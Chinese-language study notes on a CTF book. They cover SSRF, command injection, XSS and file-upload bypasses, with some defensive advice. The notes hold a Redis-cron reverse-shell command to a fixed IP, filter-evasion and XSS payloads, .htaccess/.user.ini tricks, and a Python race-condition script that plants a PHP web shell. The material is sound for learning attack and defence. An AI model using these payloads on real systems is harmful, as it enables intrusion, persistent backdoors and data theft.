来自于书《从0到1 CTFer的成长之路》Nu1L战队编著
1. SSRF漏洞
SSRF(Server Side Request Forgery,服务端请求伪造)
假设有个远程请求图片并输出的服务,URL参数为图片地址,例如http://127.0.0.1:8233/?url=www.baidu.com/img/test1.png
,假设对图片URL的地址没有进行过滤,即可通过修改地址进行SSRF攻击。如,将请求的URL修改为file://etc/password
,就可以使用file协议读取制定路径的文件内容。
1.1 内部服务资产探测
探测网站所在服务器端口开放情况,甚至内网资产情况
1.2 使用Gopher协议扩展攻击面
前提:Redis一般运行在内网,大部分情况被绑定在127.0.0.1:6379,而且一般是空口令
步骤:一般是写入Crontab反弹shell
1 | redis-cli flushall # 清空Redis |
对于代码段的第二行进行解释 echo -e "\n\n*/1 * * * * bash -i /dev/tcp/172.28.0.3/1234 0>&1\n\n"
:
echo -e
:echo命令用于输出字符串,而-e参数允许解释转义字符(如\n表示换行)。*/1 * * * *
:这是一个Cron表达式,表示每分钟执行一次。Cron表达式的格式是:分 时 日 月 周bash -i
:启动一个交互式bash shell。/dev/tcp/172.28.0.3/1234
:Linux的/dev/tcp
是一种网络接口文件,允许Shell通过TCP协议访问指定的IP地址和端口。在这里,它尝试连接到IP地址172.28.0.3的1234端口。0>&1
:将标准输入(0表示标准输入)重定向到标准输出(1表示标准输出),这会让Shell的输入和输出都通过这个网络连接传递,实现反向Shell的效果。
提问🙋:什么是反向Shell呢?
反向Shell(Reverse Shell)是一种连接方式,允许一台计算机通过网络与另一台计算机进行交互,以达到远程控制的目的。反向Shell的连接方式是客户机主动向攻击者计算机发起连接,连接成功后,攻击者会获得客户机当前用户的Shell及其权限等级。
提问🙋:有什么用处呢?
- 收集目标机器的敏感信息,通过文件操作等
- 从外到内 => 从内到内,绕过防火墙和网络的限制
- 通过内网横向移动:一旦在一台机器上成功建立反向 Shell,攻击者可以利用该机器访问其他机器
- 建立持久性后门:反向 Shell 可以通过计划任务或其他方法持久存在于目标机器上,以便攻击者在需要时随时连接访问
结果:利用 Redis 的持久化机制,将恶意的反向 Shell 命令写入到系统的计划任务目录中,伪装成正常的 cron job 文件,使得目标机器每分钟向指定 IP 和端口发起连接,从而获取系统控制权。
1.3 SSRF的绕过
1.3.1 DNS Rebinding
先来了解一下我们的机器在通过浏览器请求一个域名网站的过程
- 机器拿着域名去找DNS服务器,得到对应的IP地址,同时也会携带TTL信息
- 防火墙会检查IP地址是否合法,如果合法放行
- 浏览器会缓存这个域名和IP的绑定信息,并建立会话
- 当DNS缓存到期时,浏览器会再次请求域名解析信息
我们准备一个域名网站和一个运行着自编解析服务的DNS服务器,在用户机器第一次请求DNS信息的时候返回合法的IP(我的理解是用户那边白名单的IP),并且设置一个足够短的TTL(比如1秒),让浏览器很快就会再次请求解析域名。当浏览器第二次请求域名解析的时候,我们的DNS服务器会返回恶意IP,此时从浏览器的角度看,请求的域名一直没有变,因此它会认为是“同源”请求,认为是安全的。
说完了原理,那我们可以利用DNS Rebinding来干什么呢?
一般防火墙会检查外部IP请求对内部资源的访问,但是如果请求来源是内部IP呢?我们利用DNS Rebinding将域名解析到外网上,从而注入外部脚本,利用外部脚本在内网进行资源访问。
众所周知,能写进书本的绕过方法都是可以进行防御的(手动狗头),对于DNS Rebinding我们可以采取如下方式进行防御:
- 浏览器层面:利用插件检测TTL异常短的解析请求
- 防火墙层面:限制只能访问指定的DNS服务器
- 应用层面:内网应用服务器可以通过Origin字段验证请求的来源,判断请求来源是否是白名单域名
2. 命令执行漏洞
2.1 什么是命令执行?
在各类编程语言中,为了方便程序处理,通常会存在各种执行外部函数的函数,当调用函数执行命令且未对输入做过滤时,通过注入恶意命令可以造成巨大伤害。
下面以PHP的system()函数为例:
1 |
|
当输入为正常字符串 for test
时,在操作系统实际执行的命令是 echo for test
,最终在网页的显示是 for test
当我们输入恶意字符串 for test %26%26 whoami
,在操作系统实际执行的命令是 echo for test && whoami
,最终在网页上显示的是 for test
的字符输出,以及命令 whoami
的执行结果。
可以发现,我们通过恶意输入,摆脱了开发者希望我们执行echo命令的限制,执行了自定义命令(危险⚠️、
常用的除了 %26%26
代表 &&
,还有 ||
2.2 命令执行基础
【转译字符】在windows中转译字符是 ^
,Linux的转义字符为 \
【多条命令执行】命令注入经常需要引入多条命令来扩大危害
- Windows下,
&&
,||
,%0a
- Linux下,
&&
,||
,;
,$()
,%0a
,%0d
,``
比如命令 noexist || echo 1111111
,noexist
是一条不存在的命令,直接执行会报错,但是通过注入 ||
字符,后半段的命令也会被执行✅
【注释符号】windows的注释符号是::
,在BAT批处理脚本用的比较多;Linux的注释符号是 #
,在bash脚本用的比较多
2.3 命令执行的绕过和技巧
【缺少空格】一些代码审计会禁止空格的出现或者将空格过滤
- 绕过1:在命令中间隔的字符可以不只是空格
%20
,因此可以利用burp suite对%00~%ff
区间内的字符串进行测试,会发现还有其他字符可以绕过,如%09
,%0b
,%0c
等 - 绕过2:如果将各种间隔符都禁了,还可以利用字符串截取的方法截出空格。
- windows:
%ProgramFiles:~10,1%
,~
相当于截取符,意思是从环境变量字符串的第10个字符开始截取一个字符,也就是空格 - Linux:
$IFS$9
IFS是内部字段分隔符,$9
是当前系统Shell进程的第9个参数,通常是一个空字符串。最终能够成功执行的命令是echo$IFS$9aaa
- windows:
【黑名单关键词】对部分黑名单字符串进行拦截,如 cat
,flag
等
- 绕过1:利用变量拼接
a=c;b=at;c=he;d=llo;$a$b ${c}${d}
,这里拼接出来的命令是cat hello
- 绕过2:使用通配符
?
代表一个字符串;*
代表任意多个字符串。举例cat /tm?/fl*
- 绕过3:借用已有字符串。若是禁用
<>?
等字符串,可以利用其他文件中的字符串使用substr()
进行截取
3. 跨站脚本攻击XSS
3.1 XSS漏洞类型分类
【反射型XSS】每次触发漏洞都通过GET/POST请求携带,一般体现在用户输入没有经过任何过滤直接影响前端代码
例如存在如下代码,name参数通过GET请求获取
1 | <h1>hello {name}</h1> |
一种常见手段是直接将script标签插入HTML,如 127.0.0.1:8888/xss/1.php?name=<script>alert("hello xss")</script>
,得到的结果是 <h1>hello <script>alert("hello xss")</script></h1>
,script标签则被执行
1 | <input type="text" name="<?=$name?>"/> |
或者通过提前闭合属性值引号,并在后附加其他属性或是事件,如 127.0.0.1:8888/xss/1.php?name=text233"%20autofocus%20onfocus="alert(1)"
,得到的结果是 <input type="text" name="text233" autofocus onfocus="alert(1)"/>
1 | <script type="text/javacript"> |
我们在地址栏输入 127.0.0.1:8888/xss/2.php?name=aaa"%2balert(1);//
,代码第二行即为 var username = "aaa"+alert(1);//"
,通过提前闭合引号,使得恶意命令 alert
得以执行。
在上述三种情况中,前两种情况会被Google Chrome浏览器的XSS过滤器拦截,第三种情况可以执行。
【存储型XSS】某次提交后漏洞代码被存储在数据库中,参考留言板场景
【DOM XSS】页面中原有js代码执行后,对DOM节点进行增改,引入了被污染的变量
1 | <script type="text/javascript"> |
在上述代码中,从地址栏参数获取图片加载地址,利用提前闭合属性值引号的方式,并且附加事件 127.0.0.1:8888/xss/4.php?imgUrl=https://www.google.com/images/branding/xxxxxx.png%27%20onload=%27alert(1)
,可以得到 <img src='https://www.google.com/images/branding/xxxxxx.png' onload='alert(1)' />
,可以看到成功注入了 onload
事件
3.2 Tricks
基本上所有的标签都可以使用on事件来触发恶意事件(上一小节已经进行介绍)
利用img标签路径不存在来执行错误处理脚本:
<img src=x onerror="alert('error')" />
,由于页面不存在路径为/x
的图片,因此加载出错,触发onerror
事件并执行我们的恶意脚本很多标签的on事件是需要交互的,可以利用
autofocus
属性结合onfocus
、onblur
事件,可以实现自动触发利用 JavaScript 伪协议:例如
javacript:void(0)
,在点击之后不会进行地址跳转,而是直接在当前页面执行javascript:
之后的脚本二次渲染导致的XSS
1
2
3
4$template = "Hello {{name}}".$_GET['t']
<p>名字:<input type="text" ng-model="name"/></p>
<h1>$template </h1>上述代码会将参数t直接输入到AngularJS的模板中,从而存在前端的模板注入,例如
127.0.0.1:8888/xss/php?t={{3*3}}
,其中3*3
会被视为表达式进行计算。因此,借助沙箱逃逸,我们便能够达到执行任意JavaScript代码的目的。并且因为没有script标签这样的特征,因此也不会被随意地拦截。拓展阅读:
https://portswigger.net/blog/XSS-without-html-client-side-template-injection-with-angularjs
3.3 XSS过滤和绕过
主要目的:过滤WAF层(Web应用防火墙)、代码层
【富文本过滤】
过滤:如果对标签进行黑名单过滤,必然出现遗漏的情况
绕过:1. 寻找没有被过滤的标签;2. 双写,如 <scripscriptt>
;3. 大小写变换
【输出在标签属性中】
如果没有过滤 <
或 >
,我们可以直接引入新的标签,否则可以引入标签的时间,如 onload
、onmousemove
。
当语句被输出到标签事件的位置,我们可以通过 payload
进行HTML编码来绕过解释。
如果过滤了 eval(
这样的字符组合,可以通过变量代替的方式绕过。
1 | aaa = eval; |
【输出在JavaScript变量中】
通过闭合js语句,可以使得攻击语句逃逸;有经验的开发者可能会对引号进行编码或者转译,进而防御XSS,但也仍存在一些特殊场合。
举一个SQL注入中,双输入注入的例子:
1 | SELECT * FROM users WHERE name='输入1' and pass = '输入2' |
如果只过滤单引号而没有考虑 \
,那么可以转移语句中的第二个单引号,使得第一个引号喝第三个引号闭合,从而让攻击语句逃逸。
1 | SELECT * FROM users WHERE name='\' and pass = 'union select xxxxx #' |
在XSS中也有类似的场景:
1 | <script type="text/javascript"> |
假设后端代码未过滤 \
,我们可以在name末尾加上 \
,在address参数处闭合js语句,同时插入恶意代码。
进一步可以使用 eval(windows.name)
引入恶意代码或者使用js中的 String.fromCharCode
来避免使用引号等被过滤的字符。
再介绍个小技巧,将payload藏在location.hash中,则URL中的 #
后的字符不会被发到服务器,就不会被服务器过滤。
127.0.0.1:8888/xss/8.php?name=aaa\&addr=;eval(unescape(location.hash.slice(1)));//#alert('payload%20hide%20in%20hash')
此外,在js中,反引号也可以直接当作字符串的边界。
【CSP过滤及其绕过】CSP,Content Security Policy 内容安全策略
为使CSP可用,我们需要配置网络服务器返回 Content-Security-Policy HTTP头部
,这个规则是在浏览器层执行
4. Web文件上传漏洞
4.1 基础文件上传漏洞
1 |
|
1 | curl -F "file=@/tmp/x.php" -X "POST" http://localhost/book/upload.php |
上述代码通过文件上传接口上传了 x.php
文件,并访问了这个文件,执行了文件内的恶意代码。带给我们两个思考:
- 服务端接收文件可以通过特定规则进行重命名
- 接收用户的文件不应放在过于明显的目录(已知目录),不然很容易被用户猜到,非法访问文件夹下的内容
4.2 截断绕过上传限制
【00截断】
在C语言中,\0
为字符串的结束符,一些底层是C语言的编程语言都有此类通性。
00截断绕过上传限制的使用场景:后段线获取用户上传的文件名 x.php\00.jpg
,再根据文件名获取文件后缀,通过后缀的白名单校验,在最终保存文件的时候发生截断,实现实际上传的文件为 x.php
。
在Java中jdk7u40以下版本存在00截断问题,7u40之后的版本在上传、写入文件等操作会判断文件名是否合法,即不允许文件名出现 \0
【转换字符集造成的截断】
PHP在实现字符集转换的时候通常使用 iconv()
函数,UTF-8在单字节时允许的字符范围为 0x00~0x7F
,如果转换的字符不在该范围内,则会造成 PHP_ICONV_ERR_ILLEGAL_SEQ
。低版本PHP(低于5.4)在该异常出现后将不在处理之后的字符,而造成截断问题。
如上传 x.php\x99.jpg
文件,最终保存的文件将会是 x.php
4.3 文件后缀黑名单绕过
黑名单校验上传文件后缀,即通过创建一个后缀名的黑名单列表,在上传时判断文件后缀名是否在黑名单列表中,从而实现对上传文件的过滤。
【上传文件重命名】
通常使用一些比较偏门的可解析的文件后缀绕过黑名单限制:
- PHP:
php3
、php5
、phtml
、pht
等 - ASP:
cdx
、cer
、asa
等 - JSP:
jspx
等
可解析后缀在不同环境下不尽相同,需要多进行尝试。假设为windows环境:
- 可以尝试
php
、php::$DATA
、php.
等后缀::$DATA
是默认的数据流标识符。利用这种方式可以在文件名中加入::$DATA
来混淆后缀,同时达到绕过某些检测规则的目的。在某些配置较弱的服务器上,这一方法可以绕过安全检查。- 在 Windows 文件系统中,一个文件名以
.
结尾时,系统会忽略这个点
- 或先上传
a.php:.jpg
,生成空a.php
文件,再上传a.ph<
写入文件内容- 利用了 NTFS 的
备用数据流
特性。NTFS 文件系统允许文件拥有多个数据流,:
分隔符用于标识不同的数据流。 - 首先上传
a.php:.jpg
文件,这实际上是创建了一个文件名为a.php
、数据流名为.jpg
的文件。此文件上传后,实际生成的是一个空的a.php
主数据流文件(没有内容),且不会触发文件后缀检测(因为它不含 PHP 代码) - 然后可以再上传
a.ph<
文件,利用某些漏洞上传带<
字符的文件。因为某些系统会自动将a.ph<
解析为a.php
,在文件内容写入后,a.php
实际上就拥有了有效的 PHP 代码内容,从而实现代码注入。
- 利用了 NTFS 的
【上传文件不重命名】
上传
.htaccess
文件绕过黑名单.htaccess
是Apache分布式配置文件的默认名称,通常用于目录级别的访问控制和配置修改。利用 .htaccess 文件,可以更改文件的处理方式,进而绕过上传文件的黑名单限制。下面举个例子:上传一个 .htaccess 文件并添加配置,比如:
1
2# 将 .jpg 文件当作 PHP 执行
AddType application/x-httpd-php .jpg这样,当攻击者上传一个带有 .jpg 后缀的文件且内容包含 PHP 代码时,服务器会将其作为 PHP 文件解析执行,绕过文件后缀黑名单。
上传
.user.ini
文件绕过黑名单.user.ini
文件是一种分布式配置文件,主要用于 PHP 的运行配置,通常在基于 PHP 的 Web 服务器(例如 Nginx、Apache)上有效。它的作用类似于.htaccess
文件,但专门用于修改 PHP 环境配置。下面举个例子,攻击者上传一个
.user.ini
文件,设置一些配置来影响 PHP 文件的执行,例如:1
2# 将 auto_prepend_file 设置为特定文件(如包含恶意代码的文件)
auto_prepend_file = "malicious.php"这样,每次访问此目录时,PHP 都会在运行其他代码之前先执行
malicious.php
,实现代码注入。另一种利用方式是通过
user_ini.filename
设置,将任意文件类型(如 .jpg)解析为 PHP 脚本。假设服务器管理员在 php.ini 中配置了以下内容,将 .jpg 文件解析为 PHP 脚本:1
2# 在 php.ini 中添加以下配置
user_ini.filename = "settings.jpg"以上配置告诉 PHP 将任何名为 settings.jpg 的文件识别为 .user.ini 配置文件。
4.4 文件后缀白名单绕过
白名单校验文件后缀比黑名单校验更加安全、普遍,绕过白名单通常需要借助Web服务器的各解析漏洞或ImageMagick等组件漏洞。
【IIS解析漏洞】
IIS6中存在两个解析漏洞:
*.asp
文件夹下的所有文件会被当作脚本文件进行解析- 文件名为
yu.asp;a.jpg
的文件会被解析为ASP文件,上传x.asp;a.jpg
文件获取到的后缀为jpg,能够通过白名单校验
【Nginx解析漏洞】
Nginx解析漏洞是配置不当造成的。在Nginx未配置 try_files
且FPM未设置 security.limit_extensions
的场景下,可能出现解析漏洞。
【Apache多后缀文件解析漏洞】
在Apache中,单个文件支持有多个后缀,多后缀文件会从最右后缀开始识别。x.php.xxx
,因为 xxx
后缀不存在对应的handler,就会继续识别出后缀为 php
。
4.5 文件禁止访问绕过
我们在4.1节曾提起用户随意上传的文件不建议放在已知目录中,假设现在上传目录下的脚本文件是禁止访问。
最好的绕过方法是目录穿越上传到根目录,比如尝试 ../x.php
等类似文件,但这种方式对于 $_FILES
上传是不能实现的,因为该方法内部调用 _basename() 方法处理了文件名。
【文件上传到OSS】
随着云对象存储的发展,越来越多的网站选择将文件上传到OSS中,虽然上传到OSS中的文件不会被服务端解析(因此有很多凯发展允许用户在OSS上传任意文件),但是OSS一般都会提供域名绑定,如果网站把OSS绑定到自己的二级域名下,这时候就可以通过上传HTML、SVG等文件让浏览器解析来实现XSS。
可以造成弹窗或页面篡改、窃取敏感信息、会话劫持等影响。
【配合文件包含绕过】
详见 http://www.yulegeyu.com/2019/02/15/Some-vulnerabilities-in-JEECMSV9/
【一些可能被绕过的Web配置】
上传目录中禁止文件执行通常在Web服务器中配置,在不当配置下可能存在绕过。
pathinfo 导致的绕过问题
1
2
3
4
5
6
7
8
9
10
11
12# 禁止在 /upload/ 目录中访问扩展名为 .php、.php5、.phtml 和 .pht 的文件。
location ~ /upload/.*\.(php|php5|phtml|pht)$ {
deny all;
}
location ~ \.php(/|$) { # 匹配以 .php 结尾的请求路径,或包含 .php/ 后续路径的请求。即匹配所有 PHP 文件请求
#try_files $uri=404
fastcgi_pass # Nginx 将请求转发给 PHP-FPM 处理
unix:/Applications/MAMP/Library/fastcgi/nginxFastCGI_php5.4.45.sock;
fastcgi_param # 设置 SCRIPT_FILENAME 参数,将请求的 PHP 文件路径传递给 PHP-FPM
SCRIPT_FILENAME $document_root$fastcgi_script_name;
include /Application/MAMP/conf/nginx/fastcgi_params;
}对于
x.php/xxx
并不符合deny all的匹配规则,导致绕过。Location 匹配顺序导致的绕过问题
Nginx配置经常会出现多个location都能匹配请求URI的场景,匹配优先级规则是:
- 先匹配普通location,再匹配正则location。如果存在多个location都匹配URI,则会按照最长前缀原则选择location。
- 在普通location匹配完成后,如果不是完全匹配则不会结束,继续交给正则location检测,如果正则匹配成功,则会覆盖普通location匹配的结果。
- 正则匹配的物理顺序为在配置文件的先后顺序,正则匹配成功后匹配结束。
参考上一个例子的配置,deny all 被正则location匹配所覆盖。正确的配置方法应该在普通匹配前加上 ^~
,表示只要该普通匹配成功,就算不是完全匹配也不再进行正则匹配。
【利用Apache解析漏洞绕过】
Apache通常使用下述配置禁止上传目录的脚本文件被访问
1 | <Directory "/Applications/MAMP/htdocs/book/upload"> |
这时候我们可以利用Apache的解析漏洞上传yu.php.aaa文件,使其不符合deny all的匹配规则实现绕过
4.6 绕过图片验证实现代码执行
部分开发者认为,如果上传的图片是一张正常的图片就不可能再执行代码,所以允许任意后缀文件上传。但是在PHP中,检测文件是否是正常图片的方法往往可以被绕过。
【getimagesize绕过】
说明:getimagesize函数用于测定任何图像文件的大小并返回图像的尺寸以及文件类型,如果文件不是有效图片,则返回false和错误。
绕过:getimagesize的绕过比较简单,只需要将PHP代码添加到图片内容后(文本打开图片后追加)。
【imagecreatefromjpeg绕过】
说明:该方法会渲染图像生成新的图像,在图像中注入脚本代码经过渲染后,脚本代码会消失,即不能使用上一个方法。
绕过:先上传正常图片文件再下载回渲染后的图片,运行jpg_playload.php
(可以去搜一下代码)文件处理下载回来的图片,将代码注入图片文件。再上传生成新的图片,则能使得脚本代码存在。
4.7 上传生成的临时文件利用
PHP在上传文件的过程中会生成临时文件,在上传完成后会删除临时文件。可以利用一些工具来找到临时文件的文件名。
- LFI via phpinfo
- LFI via Upload_Progress
- LFI via Segmentation fault
4.8 ZIP 上传带来的问题
为了实现批量上传,很多系统支持ZIP压缩包,再在后段解压ZIP文件,如果没有对解压出来的文件做好处理,就会导致安全问题。
未处理解压文件
例如仅在上传时限制文件后缀必须为zip,但是没有对解压的文件做任何处理。因此可以把PHP文件压缩为zip文件。
未递归检测上传目录(检测是否存在脚本文件)导致绕过
条件竞争导致绕过
原理:不合法文件会被服务端检测程序删除,因此频繁上传恶意文件,利用服务端删除可能存在时延的偶然情况,在文件被删除前访问文件,就可以执行脚本文件的内容。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20import requests
import threading
# 上传恶意文件并访问其 URL
upload_url = "http://target-site.com/upload"
malicious_file_url = "http://target-site.com/uploads/malicious.php"
# 上传恶意文件
files = {"file": ("malicious.php", "<?php file_put_contents('/var/www/html/backdoor.php', '<?php system($_GET[cmd]); ?>'); ?>")}
requests.post(upload_url, files=files)
# 多线程频繁访问恶意文件
def access_file():
while True:
requests.get(malicious_file_url)
# 创建线程并启动(提高并发,增加偶然事件成功率)
threads = [threading.Thread(target=access_file) for _ in range(10)]
for t in threads:
t.start()